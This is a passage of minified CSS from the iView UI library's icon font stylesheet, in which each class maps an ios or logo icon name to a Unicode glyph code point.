"\\f12d\"}.ivu-icon-ios-basket-outline:before{content:\"\\f12e\"}.ivu-icon-ios-basket:before{content:\"\\f12f\"}.ivu-icon-ios-basketball-outline:before{content:\"\\f130\"}.ivu-icon-ios-basketball:before{content:\"\\f131\"}.ivu-icon-ios-battery-charging:before{content:\"\\f132\"}.ivu-icon-ios-battery-dead:before{content:\"\\f133\"}.ivu-icon-ios-battery-full:before{content:\"\\f134\"}.ivu-icon-ios-beaker-outline:before{content:\"\\f135\"}.ivu-icon-ios-beaker:before{content:\"\\f136\"}.ivu-icon-ios-beer-outline:before{content:\"\\f137\"}.ivu-icon-ios-beer:before{content:\"\\f138\"}.ivu-icon-ios-bicycle:before{content:\"\\f139\"}.ivu-icon-ios-bluetooth:before{content:\"\\f13a\"}.ivu-icon-ios-boat-outline:before{content:\"\\f13b\"}.ivu-icon-ios-boat:before{content:\"\\f13c\"}.ivu-icon-ios-body-outline:before{content:\"\\f13d\"}.ivu-icon-ios-body:before{content:\"\\f13e\"}.ivu-icon-ios-bonfire-outline:before{content:\"\\f13f\"}.ivu-icon-ios-bonfire:before{content:\"\\f140\"}.ivu-icon-ios-book-outline:before{content:\"\\f141\"}.ivu-icon-ios-book:before{content:\"\\f142\"}.ivu-icon-ios-bookmark-outline:before{content:\"\\f143\"}.ivu-icon-ios-bookmark:before{content:\"\\f144\"}.ivu-icon-ios-bookmarks-outline:before{content:\"\\f145\"}.ivu-icon-ios-bookmarks:before{content:\"\\f146\"}.ivu-icon-ios-bowtie-outline:before{content:\"\\f147\"}.ivu-icon-ios-bowtie:before{content:\"\\f148\"}.ivu-icon-ios-briefcase-outline:before{content:\"\\f149\"}.ivu-icon-ios-briefcase:before{content:\"\\f14a\"}.ivu-icon-ios-browsers-outline:before{content:\"\\f14b\"}.ivu-icon-ios-browsers:before{content:\"\\f14c\"}.ivu-icon-ios-brush-outline:before{content:\"\\f14d\"}.ivu-icon-ios-brush:before{content:\"\\f14e\"}.ivu-icon-ios-bug-outline:before{content:\"\\f14f\"}.ivu-icon-ios-bug:before{content:\"\\f150\"}.ivu-icon-ios-build-outline:before{content:\"\\f151\"}.ivu-icon-ios-build:before{content:\"\\f152\"}.ivu-icon-ios-bulb-outline:before{content:\"\\f153\"}.ivu-icon-ios-bulb:before{content:\"\\f154\"}.ivu-icon-ios-bus-outline:before{content:\"\\f155\"}.ivu-icon-ios-bus:before{content:\"\\f156\"}.ivu-icon-ios-cafe-outline:before{content:\"\\f157\"}.ivu-icon-ios-cafe:before{content:\"\\f158\"}.ivu-icon-ios-calculator-outline:before{content:\"\\f159\"}.ivu-icon-ios-calculator:before{content:\"\\f15a\"}.ivu-icon-ios-calendar-outline:before{content:\"\\f15b\"}.ivu-icon-ios-calendar:before{content:\"\\f15c\"}.ivu-icon-ios-call-outline:before{content:\"\\f15d\"}.ivu-icon-ios-call:before{content:\"\\f15e\"}.ivu-icon-ios-camera-outline:before{content:\"\\f15f\"}.ivu-icon-ios-camera:before{content:\"\\f160\"}.ivu-icon-ios-car-outline:before{content:\"\\f161\"}.ivu-icon-ios-car:before{content:\"\\f162\"}.ivu-icon-ios-card-outline:before{content:\"\\f163\"}.ivu-icon-ios-card:before{content:\"\\f164\"}.ivu-icon-ios-cart-outline:before{content:\"\\f165\"}.ivu-icon-ios-cart:before{content:\"\\f166\"}.ivu-icon-ios-cash-outline:before{content:\"\\f167\"}.ivu-icon-ios-cash:before{content:\"\\f168\"}.ivu-icon-ios-chatboxes-outline:before{content:\"\\f169\"}.ivu-icon-ios-chatboxes:before{content:\"\\f16a\"}.ivu-icon-ios-chatbubbles-outline:before{content:\"\\f16b\"}.ivu-icon-ios-chatbubbles:before{content:\"\\f16c\"}.ivu-icon-ios-checkbox-outline:before{content:\"\\f16d\"}.ivu-icon-ios-checkbox:before{content:\"\\f16e\"}.ivu-icon-ios-checkmark-circle-outline:before{content:\"\\f16f\"}.ivu-icon-ios-checkmark-circle:before{content:\"\\f170\"}.ivu-icon-ios-checkmark:before{content:\"\\f171\"}.ivu-icon-ios-clipboard-outline:before{content:\"\\f172\"}.ivu-icon-ios-clipboard:before{content:\"\\f173\"}.ivu-icon-ios-clock-outline:before{content:\"\\f174\"}.ivu-icon-ios-clock:before{content:\"\\f175\"}.ivu-icon-ios-close-circle-outline:before{content:\"\\f176\"}.ivu-icon-ios-close-circle:before{content:\"\\f177\"}.ivu-icon-ios-close:before{content:\"\\f178\"}.ivu-icon-ios-closed-captioning-outline:before{content:\"\\f179\"}.ivu-icon-ios-closed-captioning:before{content:\"\\f17a\"}.ivu-icon-ios-cloud-circle-outline:before{content:\"\\f17b\"}.ivu-icon-ios-cloud-circle:before{content:\"\\f17c\"}.ivu-icon-ios-cloud-done-outline:before{content:\"\\f17d\"}.ivu-icon-ios-cloud-done:before{content:\"\\f17e\"}.ivu-icon-ios-cloud-download-outline:before{content:\"\\f17f\"}.ivu-icon-ios-cloud-download:before{content:\"\\f180\"}.ivu-icon-ios-cloud-outline:before{content:\"\\f181\"}.ivu-icon-ios-cloud-upload-outline:before{content:\"\\f182\"}.ivu-icon-ios-cloud-upload:before{content:\"\\f183\"}.ivu-icon-ios-cloud:before{content:\"\\f184\"}.ivu-icon-ios-cloudy-night-outline:before{content:\"\\f185\"}.ivu-icon-ios-cloudy-night:before{content:\"\\f186\"}.ivu-icon-ios-cloudy-outline:before{content:\"\\f187\"}.ivu-icon-ios-cloudy:before{content:\"\\f188\"}.ivu-icon-ios-code-download:before{content:\"\\f189\"}.ivu-icon-ios-code-working:before{content:\"\\f18a\"}.ivu-icon-ios-code:before{content:\"\\f18b\"}.ivu-icon-ios-cog-outline:before{content:\"\\f18c\"}.ivu-icon-ios-cog:before{content:\"\\f18d\"}.ivu-icon-ios-color-fill-outline:before{content:\"\\f18e\"}.ivu-icon-ios-color-fill:before{content:\"\\f18f\"}.ivu-icon-ios-color-filter-outline:before{content:\"\\f190\"}.ivu-icon-ios-color-filter:before{content:\"\\f191\"}.ivu-icon-ios-color-palette-outline:before{content:\"\\f192\"}.ivu-icon-ios-color-palette:before{content:\"\\f193\"}.ivu-icon-ios-color-wand-outline:before{content:\"\\f194\"}.ivu-icon-ios-color-wand:before{content:\"\\f195\"}.ivu-icon-ios-compass-outline:before{content:\"\\f196\"}.ivu-icon-ios-compass:before{content:\"\\f197\"}.ivu-icon-ios-construct-outline:before{content:\"\\f198\"}.ivu-icon-ios-construct:before{content:\"\\f199\"}.ivu-icon-ios-contact-outline:before{content:\"\\f19a\"}.ivu-icon-ios-contact:before{content:\"\\f19b\"}.ivu-icon-ios-contacts-outline:before{content:\"\\f19c\"}.ivu-icon-ios-contacts:before{content:\"\\f19d\"}.ivu-icon-ios-contract:before{content:\"\\f19e\"}.ivu-icon-ios-contrast:before{content:\"\\f19f\"}.ivu-icon-ios-copy-outline:before{content:\"\\f1a0\"}.ivu-icon-ios-copy:before{content:\"\\f1a1\"}.ivu-icon-ios-create-outline:before{content:\"\\f1a2\"}.ivu-icon-ios-create:before{content:\"\\f1a3\"}.ivu-icon-ios-crop-outline:before{content:\"\\f1a4\"}.ivu-icon-ios-crop:before{content:\"\\f1a5\"}.ivu-icon-ios-cube-outline:before{content:\"\\f1a6\"}.ivu-icon-ios-cube:before{content:\"\\f1a7\"}.ivu-icon-ios-cut-outline:before{content:\"\\f1a8\"}.ivu-icon-ios-cut:before{content:\"\\f1a9\"}.ivu-icon-ios-desktop-outline:before{content:\"\\f1aa\"}.ivu-icon-ios-desktop:before{content:\"\\f1ab\"}.ivu-icon-ios-disc-outline:before{content:\"\\f1ac\"}.ivu-icon-ios-disc:before{content:\"\\f1ad\"}.ivu-icon-ios-document-outline:before{content:\"\\f1ae\"}.ivu-icon-ios-document:before{content:\"\\f1af\"}.ivu-icon-ios-done-all:before{content:\"\\f1b0\"}.ivu-icon-ios-download-outline:before{content:\"\\f1b1\"}.ivu-icon-ios-download:before{content:\"\\f1b2\"}.ivu-icon-ios-easel-outline:before{content:\"\\f1b3\"}.ivu-icon-ios-easel:before{content:\"\\f1b4\"}.ivu-icon-ios-egg-outline:before{content:\"\\f1b5\"}.ivu-icon-ios-egg:before{content:\"\\f1b6\"}.ivu-icon-ios-exit-outline:before{content:\"\\f1b7\"}.ivu-icon-ios-exit:before{content:\"\\f1b8\"}.ivu-icon-ios-expand:before{content:\"\\f1b9\"}.ivu-icon-ios-eye-off-outline:before{content:\"\\f1ba\"}.ivu-icon-ios-eye-off:before{content:\"\\f1bb\"}.ivu-icon-ios-eye-outline:before{content:\"\\f1bc\"}.ivu-icon-ios-eye:before{content:\"\\f1bd\"}.ivu-icon-ios-fastforward-outline:before{content:\"\\f1be\"}.ivu-icon-ios-fastforward:before{content:\"\\f1bf\"}.ivu-icon-ios-female:before{content:\"\\f1c0\"}.ivu-icon-ios-filing-outline:before{content:\"\\f1c1\"}.ivu-icon-ios-filing:before{content:\"\\f1c2\"}.ivu-icon-ios-film-outline:before{content:\"\\f1c3\"}.ivu-icon-ios-film:before{content:\"\\f1c4\"}.ivu-icon-ios-finger-print:before{content:\"\\f1c5\"}.ivu-icon-ios-flag-outline:before{content:\"\\f1c6\"}.ivu-icon-ios-flag:before{content:\"\\f1c7\"}.ivu-icon-ios-flame-outline:before{content:\"\\f1c8\"}.ivu-icon-ios-flame:before{content:\"\\f1c9\"}.ivu-icon-ios-flash-outline:before{content:\"\\f1ca\"}.ivu-icon-ios-flash:before{content:\"\\f1cb\"}.ivu-icon-ios-flask-outline:before{content:\"\\f1cc\"}.ivu-icon-ios-flask:before{content:\"\\f1cd\"}.ivu-icon-ios-flower-outline:before{content:\"\\f1ce\"}.ivu-icon-ios-flower:before{content:\"\\f1cf\"}.ivu-icon-ios-folder-open-outline:before{content:\"\\f1d0\"}.ivu-icon-ios-folder-open:before{content:\"\\f1d1\"}.ivu-icon-ios-folder-outline:before{content:\"\\f1d2\"}.ivu-icon-ios-folder:before{content:\"\\f1d3\"}.ivu-icon-ios-football-outline:before{content:\"\\f1d4\"}.ivu-icon-ios-football:before{content:\"\\f1d5\"}.ivu-icon-ios-funnel-outline:before{content:\"\\f1d6\"}.ivu-icon-ios-funnel:before{content:\"\\f1d7\"}.ivu-icon-ios-game-controller-a-outline:before{content:\"\\f1d8\"}.ivu-icon-ios-game-controller-a:before{content:\"\\f1d9\"}.ivu-icon-ios-game-controller-b-outline:before{content:\"\\f1da\"}.ivu-icon-ios-game-controller-b:before{content:\"\\f1db\"}.ivu-icon-ios-git-branch:before{content:\"\\f1dc\"}.ivu-icon-ios-git-commit:before{content:\"\\f1dd\"}.ivu-icon-ios-git-compare:before{content:\"\\f1de\"}.ivu-icon-ios-git-merge:before{content:\"\\f1df\"}.ivu-icon-ios-git-network:before{content:\"\\f1e0\"}.ivu-icon-ios-git-pull-request:before{content:\"\\f1e1\"}.ivu-icon-ios-glasses-outline:before{content:\"\\f1e2\"}.ivu-icon-ios-glasses:before{content:\"\\f1e3\"}.ivu-icon-ios-globe-outline:before{content:\"\\f1e4\"}.ivu-icon-ios-globe:before{content:\"\\f1e5\"}.ivu-icon-ios-grid-outline:before{content:\"\\f1e6\"}.ivu-icon-ios-grid:before{content:\"\\f1e7\"}.ivu-icon-ios-hammer-outline:before{content:\"\\f1e8\"}.ivu-icon-ios-hammer:before{content:\"\\f1e9\"}.ivu-icon-ios-hand-outline:before{content:\"\\f1ea\"}.ivu-icon-ios-hand:before{content:\"\\f1eb\"}.ivu-icon-ios-happy-outline:before{content:\"\\f1ec\"}.ivu-icon-ios-happy:before{content:\"\\f1ed\"}.ivu-icon-ios-headset-outline:before{content:\"\\f1ee\"}.ivu-icon-ios-headset:before{content:\"\\f1ef\"}.ivu-icon-ios-heart-outline:before{content:\"\\f1f0\"}.ivu-icon-ios-heart:before{content:\"\\f1f1\"}.ivu-icon-ios-help-buoy-outline:before{content:\"\\f1f2\"}.ivu-icon-ios-help-buoy:before{content:\"\\f1f3\"}.ivu-icon-ios-help-circle-outline:before{content:\"\\f1f4\"}.ivu-icon-ios-help-circle:before{content:\"\\f1f5\"}.ivu-icon-ios-help:before{content:\"\\f1f6\"}.ivu-icon-ios-home-outline:before{content:\"\\f1f7\"}.ivu-icon-ios-home:before{content:\"\\f1f8\"}.ivu-icon-ios-ice-cream-outline:before{content:\"\\f1f9\"}.ivu-icon-ios-ice-cream:before{content:\"\\f1fa\"}.ivu-icon-ios-image-outline:before{content:\"\\f1fb\"}.ivu-icon-ios-image:before{content:\"\\f1fc\"}.ivu-icon-ios-images-outline:before{content:\"\\f1fd\"}.ivu-icon-ios-images:before{content:\"\\f1fe\"}.ivu-icon-ios-infinite-outline:before{content:\"\\f1ff\"}.ivu-icon-ios-infinite:before{content:\"\\f200\"}.ivu-icon-ios-information-circle-outline:before{content:\"\\f201\"}.ivu-icon-ios-information-circle:before{content:\"\\f202\"}.ivu-icon-ios-information:before{content:\"\\f203\"}.ivu-icon-ios-ionic-outline:before{content:\"\\f204\"}.ivu-icon-ios-ionic:before{content:\"\\f205\"}.ivu-icon-ios-ionitron-outline:before{content:\"\\f206\"}.ivu-icon-ios-ionitron:before{content:\"\\f207\"}.ivu-icon-ios-jet-outline:before{content:\"\\f208\"}.ivu-icon-ios-jet:before{content:\"\\f209\"}.ivu-icon-ios-key-outline:before{content:\"\\f20a\"}.ivu-icon-ios-key:before{content:\"\\f20b\"}.ivu-icon-ios-keypad-outline:before{content:\"\\f20c\"}.ivu-icon-ios-keypad:before{content:\"\\f20d\"}.ivu-icon-ios-laptop:before{content:\"\\f20e\"}.ivu-icon-ios-leaf-outline:before{content:\"\\f20f\"}.ivu-icon-ios-leaf:before{content:\"\\f210\"}.ivu-icon-ios-link-outline:before{content:\"\\f211\"}.ivu-icon-ios-link:before{content:\"\\f212\"}.ivu-icon-ios-list-box-outline:before{content:\"\\f213\"}.ivu-icon-ios-list-box:before{content:\"\\f214\"}.ivu-icon-ios-list:before{content:\"\\f215\"}.ivu-icon-ios-locate-outline:before{content:\"\\f216\"}.ivu-icon-ios-locate:before{content:\"\\f217\"}.ivu-icon-ios-lock-outline:before{content:\"\\f218\"}.ivu-icon-ios-lock:before{content:\"\\f219\"}.ivu-icon-ios-log-in:before{content:\"\\f21a\"}.ivu-icon-ios-log-out:before{content:\"\\f21b\"}.ivu-icon-ios-magnet-outline:before{content:\"\\f21c\"}.ivu-icon-ios-magnet:before{content:\"\\f21d\"}.ivu-icon-ios-mail-open-outline:before{content:\"\\f21e\"}.ivu-icon-ios-mail-open:before{content:\"\\f21f\"}.ivu-icon-ios-mail-outline:before{content:\"\\f220\"}.ivu-icon-ios-mail:before{content:\"\\f221\"}.ivu-icon-ios-male:before{content:\"\\f222\"}.ivu-icon-ios-man-outline:before{content:\"\\f223\"}.ivu-icon-ios-man:before{content:\"\\f224\"}.ivu-icon-ios-map-outline:before{content:\"\\f225\"}.ivu-icon-ios-map:before{content:\"\\f226\"}.ivu-icon-ios-medal-outline:before{content:\"\\f227\"}.ivu-icon-ios-medal:before{content:\"\\f228\"}.ivu-icon-ios-medical-outline:before{content:\"\\f229\"}.ivu-icon-ios-medical:before{content:\"\\f22a\"}.ivu-icon-ios-medkit-outline:before{content:\"\\f22b\"}.ivu-icon-ios-medkit:before{content:\"\\f22c\"}.ivu-icon-ios-megaphone-outline:before{content:\"\\f22d\"}.ivu-icon-ios-megaphone:before{content:\"\\f22e\"}.ivu-icon-ios-menu-outline:before{content:\"\\f22f\"}.ivu-icon-ios-menu:before{content:\"\\f230\"}.ivu-icon-ios-mic-off-outline:before{content:\"\\f231\"}.ivu-icon-ios-mic-off:before{content:\"\\f232\"}.ivu-icon-ios-mic-outline:before{content:\"\\f233\"}.ivu-icon-ios-mic:before{content:\"\\f234\"}.ivu-icon-ios-microphone-outline:before{content:\"\\f235\"}.ivu-icon-ios-microphone:before{content:\"\\f236\"}.ivu-icon-ios-moon-outline:before{content:\"\\f237\"}.ivu-icon-ios-moon:before{content:\"\\f238\"}.ivu-icon-ios-more-outline:before{content:\"\\f239\"}.ivu-icon-ios-more:before{content:\"\\f23a\"}.ivu-icon-ios-move:before{content:\"\\f23b\"}.ivu-icon-ios-musical-note-outline:before{content:\"\\f23c\"}.ivu-icon-ios-musical-note:before{content:\"\\f23d\"}.ivu-icon-ios-musical-notes-outline:before{content:\"\\f23e\"}.ivu-icon-ios-musical-notes:before{content:\"\\f23f\"}.ivu-icon-ios-navigate-outline:before{content:\"\\f240\"}.ivu-icon-ios-navigate:before{content:\"\\f241\"}.ivu-icon-ios-no-smoking-outline:before{content:\"\\f242\"}.ivu-icon-ios-no-smoking:before{content:\"\\f243\"}.ivu-icon-ios-notifications-off-outline:before{content:\"\\f244\"}.ivu-icon-ios-notifications-off:before{content:\"\\f245\"}.ivu-icon-ios-notifications-outline:before{content:\"\\f246\"}.ivu-icon-ios-notifications:before{content:\"\\f247\"}.ivu-icon-ios-nuclear-outline:before{content:\"\\f248\"}.ivu-icon-ios-nuclear:before{content:\"\\f249\"}.ivu-icon-ios-nutrition-outline:before{content:\"\\f24a\"}.ivu-icon-ios-nutrition:before{content:\"\\f24b\"}.ivu-icon-ios-open-outline:before{content:\"\\f24c\"}.ivu-icon-ios-open:before{content:\"\\f24d\"}.ivu-icon-ios-options-outline:before{content:\"\\f24e\"}.ivu-icon-ios-options:before{content:\"\\f24f\"}.ivu-icon-ios-outlet-outline:before{content:\"\\f250\"}.ivu-icon-ios-outlet:before{content:\"\\f251\"}.ivu-icon-ios-paper-outline:before{content:\"\\f252\"}.ivu-icon-ios-paper-plane-outline:before{content:\"\\f253\"}.ivu-icon-ios-paper-plane:before{content:\"\\f254\"}.ivu-icon-ios-paper:before{content:\"\\f255\"}.ivu-icon-ios-partly-sunny-outline:before{content:\"\\f256\"}.ivu-icon-ios-partly-sunny:before{content:\"\\f257\"}.ivu-icon-ios-pause-outline:before{content:\"\\f258\"}.ivu-icon-ios-pause:before{content:\"\\f259\"}.ivu-icon-ios-paw-outline:before{content:\"\\f25a\"}.ivu-icon-ios-paw:before{content:\"\\f25b\"}.ivu-icon-ios-people-outline:before{content:\"\\f25c\"}.ivu-icon-ios-people:before{content:\"\\f25d\"}.ivu-icon-ios-person-add-outline:before{content:\"\\f25e\"}.ivu-icon-ios-person-add:before{content:\"\\f25f\"}.ivu-icon-ios-person-outline:before{content:\"\\f260\"}.ivu-icon-ios-person:before{content:\"\\f261\"}.ivu-icon-ios-phone-landscape:before{content:\"\\f262\"}.ivu-icon-ios-phone-portrait:before{content:\"\\f263\"}.ivu-icon-ios-photos-outline:before{content:\"\\f264\"}.ivu-icon-ios-photos:before{content:\"\\f265\"}.ivu-icon-ios-pie-outline:before{content:\"\\f266\"}.ivu-icon-ios-pie:before{content:\"\\f267\"}.ivu-icon-ios-pin-outline:before{content:\"\\f268\"}.ivu-icon-ios-pin:before{content:\"\\f269\"}.ivu-icon-ios-pint-outline:before{content:\"\\f26a\"}.ivu-icon-ios-pint:before{content:\"\\f26b\"}.ivu-icon-ios-pizza-outline:before{content:\"\\f26c\"}.ivu-icon-ios-pizza:before{content:\"\\f26d\"}.ivu-icon-ios-plane-outline:before{content:\"\\f26e\"}.ivu-icon-ios-plane:before{content:\"\\f26f\"}.ivu-icon-ios-planet-outline:before{content:\"\\f270\"}.ivu-icon-ios-planet:before{content:\"\\f271\"}.ivu-icon-ios-play-outline:before{content:\"\\f272\"}.ivu-icon-ios-play:before{content:\"\\f273\"}.ivu-icon-ios-podium-outline:before{content:\"\\f274\"}.ivu-icon-ios-podium:before{content:\"\\f275\"}.ivu-icon-ios-power-outline:before{content:\"\\f276\"}.ivu-icon-ios-power:before{content:\"\\f277\"}.ivu-icon-ios-pricetag-outline:before{content:\"\\f278\"}.ivu-icon-ios-pricetag:before{content:\"\\f279\"}.ivu-icon-ios-pricetags-outline:before{content:\"\\f27a\"}.ivu-icon-ios-pricetags:before{content:\"\\f27b\"}.ivu-icon-ios-print-outline:before{content:\"\\f27c\"}.ivu-icon-ios-print:before{content:\"\\f27d\"}.ivu-icon-ios-pulse-outline:before{content:\"\\f27e\"}.ivu-icon-ios-pulse:before{content:\"\\f27f\"}.ivu-icon-ios-qr-scanner:before{content:\"\\f280\"}.ivu-icon-ios-quote-outline:before{content:\"\\f281\"}.ivu-icon-ios-quote:before{content:\"\\f282\"}.ivu-icon-ios-radio-button-off:before{content:\"\\f283\"}.ivu-icon-ios-radio-button-on:before{content:\"\\f284\"}.ivu-icon-ios-radio-outline:before{content:\"\\f285\"}.ivu-icon-ios-radio:before{content:\"\\f286\"}.ivu-icon-ios-rainy-outline:before{content:\"\\f287\"}.ivu-icon-ios-rainy:before{content:\"\\f288\"}.ivu-icon-ios-recording-outline:before{content:\"\\f289\"}.ivu-icon-ios-recording:before{content:\"\\f28a\"}.ivu-icon-ios-redo-outline:before{content:\"\\f28b\"}.ivu-icon-ios-redo:before{content:\"\\f28c\"}.ivu-icon-ios-refresh-circle-outline:before{content:\"\\f28d\"}.ivu-icon-ios-refresh-circle:before{content:\"\\f28e\"}.ivu-icon-ios-refresh:before{content:\"\\f28f\"}.ivu-icon-ios-remove-circle-outline:before{content:\"\\f290\"}.ivu-icon-ios-remove-circle:before{content:\"\\f291\"}.ivu-icon-ios-remove:before{content:\"\\f292\"}.ivu-icon-ios-reorder:before{content:\"\\f293\"}.ivu-icon-ios-repeat:before{content:\"\\f294\"}.ivu-icon-ios-resize:before{content:\"\\f295\"}.ivu-icon-ios-restaurant-outline:before{content:\"\\f296\"}.ivu-icon-ios-restaurant:before{content:\"\\f297\"}.ivu-icon-ios-return-left:before{content:\"\\f298\"}.ivu-icon-ios-return-right:before{content:\"\\f299\"}.ivu-icon-ios-reverse-camera-outline:before{content:\"\\f29a\"}.ivu-icon-ios-reverse-camera:before{content:\"\\f29b\"}.ivu-icon-ios-rewind-outline:before{content:\"\\f29c\"}.ivu-icon-ios-rewind:before{content:\"\\f29d\"}.ivu-icon-ios-ribbon-outline:before{content:\"\\f29e\"}.ivu-icon-ios-ribbon:before{content:\"\\f29f\"}.ivu-icon-ios-rose-outline:before{content:\"\\f2a0\"}.ivu-icon-ios-rose:before{content:\"\\f2a1\"}.ivu-icon-ios-sad-outline:before{content:\"\\f2a2\"}.ivu-icon-ios-sad:before{content:\"\\f2a3\"}.ivu-icon-ios-school-outline:before{content:\"\\f2a4\"}.ivu-icon-ios-school:before{content:\"\\f2a5\"}.ivu-icon-ios-search-outline:before{content:\"\\f2a6\"}.ivu-icon-ios-search:before{content:\"\\f2a7\"}.ivu-icon-ios-send-outline:before{content:\"\\f2a8\"}.ivu-icon-ios-send:before{content:\"\\f2a9\"}.ivu-icon-ios-settings-outline:before{content:\"\\f2aa\"}.ivu-icon-ios-settings:before{content:\"\\f2ab\"}.ivu-icon-ios-share-alt-outline:before{content:\"\\f2ac\"}.ivu-icon-ios-share-alt:before{content:\"\\f2ad\"}.ivu-icon-ios-share-outline:before{content:\"\\f2ae\"}.ivu-icon-ios-share:before{content:\"\\f2af\"}.ivu-icon-ios-shirt-outline:before{content:\"\\f2b0\"}.ivu-icon-ios-shirt:before{content:\"\\f2b1\"}.ivu-icon-ios-shuffle:before{content:\"\\f2b2\"}.ivu-icon-ios-skip-backward-outline:before{content:\"\\f2b3\"}.ivu-icon-ios-skip-backward:before{content:\"\\f2b4\"}.ivu-icon-ios-skip-forward-outline:before{content:\"\\f2b5\"}.ivu-icon-ios-skip-forward:before{content:\"\\f2b6\"}.ivu-icon-ios-snow-outline:before{content:\"\\f2b7\"}.ivu-icon-ios-snow:before{content:\"\\f2b8\"}.ivu-icon-ios-speedometer-outline:before{content:\"\\f2b9\"}.ivu-icon-ios-speedometer:before{content:\"\\f2ba\"}.ivu-icon-ios-square-outline:before{content:\"\\f2bb\"}.ivu-icon-ios-square:before{content:\"\\f2bc\"}.ivu-icon-ios-star-half:before{content:\"\\f2bd\"}.ivu-icon-ios-star-outline:before{content:\"\\f2be\"}.ivu-icon-ios-star:before{content:\"\\f2bf\"}.ivu-icon-ios-stats-outline:before{content:\"\\f2c0\"}.ivu-icon-ios-stats:before{content:\"\\f2c1\"}.ivu-icon-ios-stopwatch-outline:before{content:\"\\f2c2\"}.ivu-icon-ios-stopwatch:before{content:\"\\f2c3\"}.ivu-icon-ios-subway-outline:before{content:\"\\f2c4\"}.ivu-icon-ios-subway:before{content:\"\\f2c5\"}.ivu-icon-ios-sunny-outline:before{content:\"\\f2c6\"}.ivu-icon-ios-sunny:before{content:\"\\f2c7\"}.ivu-icon-ios-swap:before{content:\"\\f2c8\"}.ivu-icon-ios-switch-outline:before{content:\"\\f2c9\"}.ivu-icon-ios-switch:before{content:\"\\f2ca\"}.ivu-icon-ios-sync:before{content:\"\\f2cb\"}.ivu-icon-ios-tablet-landscape:before{content:\"\\f2cc\"}.ivu-icon-ios-tablet-portrait:before{content:\"\\f2cd\"}.ivu-icon-ios-tennisball-outline:before{content:\"\\f2ce\"}.ivu-icon-ios-tennisball:before{content:\"\\f2cf\"}.ivu-icon-ios-text-outline:before{content:\"\\f2d0\"}.ivu-icon-ios-text:before{content:\"\\f2d1\"}.ivu-icon-ios-thermometer-outline:before{content:\"\\f2d2\"}.ivu-icon-ios-thermometer:before{content:\"\\f2d3\"}.ivu-icon-ios-thumbs-down-outline:before{content:\"\\f2d4\"}.ivu-icon-ios-thumbs-down:before{content:\"\\f2d5\"}.ivu-icon-ios-thumbs-up-outline:before{content:\"\\f2d6\"}.ivu-icon-ios-thumbs-up:before{content:\"\\f2d7\"}.ivu-icon-ios-thunderstorm-outline:before{content:\"\\f2d8\"}.ivu-icon-ios-thunderstorm:before{content:\"\\f2d9\"}.ivu-icon-ios-time-outline:before{content:\"\\f2da\"}.ivu-icon-ios-time:before{content:\"\\f2db\"}.ivu-icon-ios-timer-outline:before{content:\"\\f2dc\"}.ivu-icon-ios-timer:before{content:\"\\f2dd\"}.ivu-icon-ios-train-outline:before{content:\"\\f2de\"}.ivu-icon-ios-train:before{content:\"\\f2df\"}.ivu-icon-ios-transgender:before{content:\"\\f2e0\"}.ivu-icon-ios-trash-outline:before{content:\"\\f2e1\"}.ivu-icon-ios-trash:before{content:\"\\f2e2\"}.ivu-icon-ios-trending-down:before{content:\"\\f2e3\"}.ivu-icon-ios-trending-up:before{content:\"\\f2e4\"}.ivu-icon-ios-trophy-outline:before{content:\"\\f2e5\"}.ivu-icon-ios-trophy:before{content:\"\\f2e6\"}.ivu-icon-ios-umbrella-outline:before{content:\"\\f2e7\"}.ivu-icon-ios-umbrella:before{content:\"\\f2e8\"}.ivu-icon-ios-undo-outline:before{content:\"\\f2e9\"}.ivu-icon-ios-undo:before{content:\"\\f2ea\"}.ivu-icon-ios-unlock-outline:before{content:\"\\f2eb\"}.ivu-icon-ios-unlock:before{content:\"\\f2ec\"}.ivu-icon-ios-videocam-outline:before{content:\"\\f2ed\"}.ivu-icon-ios-videocam:before{content:\"\\f2ee\"}.ivu-icon-ios-volume-down:before{content:\"\\f2ef\"}.ivu-icon-ios-volume-mute:before{content:\"\\f2f0\"}.ivu-icon-ios-volume-off:before{content:\"\\f2f1\"}.ivu-icon-ios-volume-up:before{content:\"\\f2f2\"}.ivu-icon-ios-walk:before{content:\"\\f2f3\"}.ivu-icon-ios-warning-outline:before{content:\"\\f2f4\"}.ivu-icon-ios-warning:before{content:\"\\f2f5\"}.ivu-icon-ios-watch:before{content:\"\\f2f6\"}.ivu-icon-ios-water-outline:before{content:\"\\f2f7\"}.ivu-icon-ios-water:before{content:\"\\f2f8\"}.ivu-icon-ios-wifi-outline:before{content:\"\\f2f9\"}.ivu-icon-ios-wifi:before{content:\"\\f2fa\"}.ivu-icon-ios-wine-outline:before{content:\"\\f2fb\"}.ivu-icon-ios-wine:before{content:\"\\f2fc\"}.ivu-icon-ios-woman-outline:before{content:\"\\f2fd\"}.ivu-icon-ios-woman:before{content:\"\\f2fe\"}.ivu-icon-logo-android:before{content:\"\\f2ff\"}.ivu-icon-logo-angular:before{content:\"\\f300\"}.ivu-icon-logo-apple:before{content:\"\\f301\"}.ivu-icon-logo-bitcoin:before{content:\"\\f302\"}.ivu-icon-logo-buffer:before{content:\"\\f303\"}.ivu-icon-logo-chrome:before{content:\"\\f304\"}.ivu-icon-logo-codepen:before{content:\"\\f305\"}.ivu-icon-logo-css3:before{content:\"\\f306\"}.ivu-icon-logo-designernews:before{content:\"\\f307\"}.ivu-icon-logo-dribbble:before{content:\"\\f308\"}.ivu-icon-logo-dropbox:before{content:\"\\f309\"}.ivu-icon-logo-euro:before{content:\"\\f30a\"}.ivu-icon-logo-facebook:before{content:\"\\f30b\"}.ivu-icon-logo-foursquare:before{content:\"\\f30c\"}.ivu-icon-logo-freebsd-devil:before{content:\"\\f30d\"}.ivu-icon-logo-github:before{content:\"\\f30e\"}.ivu-icon-logo-google:before{content:\"\\f30f\"}.ivu-icon-logo-googleplus:before{content:\"\\f310\"}.ivu-icon-logo-hackernews:before{content:\"\\f311\"}.ivu-icon-logo-html5:before{content:\"\\f312\"}.ivu-icon-logo-instagram:before{content:\"\\f313\"}.ivu-icon-logo-javascript:before{content:\"\\f314\"}.ivu-icon-logo-linkedin:before{content:\"\\f315\"}.ivu-icon-logo-markdown:before{content:\"\\f316\"}.ivu-icon-logo-nodejs:before{content:\"\\f317\"}.ivu-icon-logo-octocat:before{content:\"\\f318\"}.ivu-icon-logo-pinterest:before{content:\"\\f319\"}.ivu-icon-logo-playstation:before{content:\"\\f31a\"}.ivu-icon-logo-python:before{content:\"\\f31b\"}.ivu-icon-logo-reddit:before{content:\"\\f31c\"}.ivu-icon-logo-rss:before{content:\"\\f31d\"}.ivu-icon-logo-sass:before{content:\"\\f31e\"}.ivu-icon-logo-skype:before{content:\"\\f31f\"}.ivu-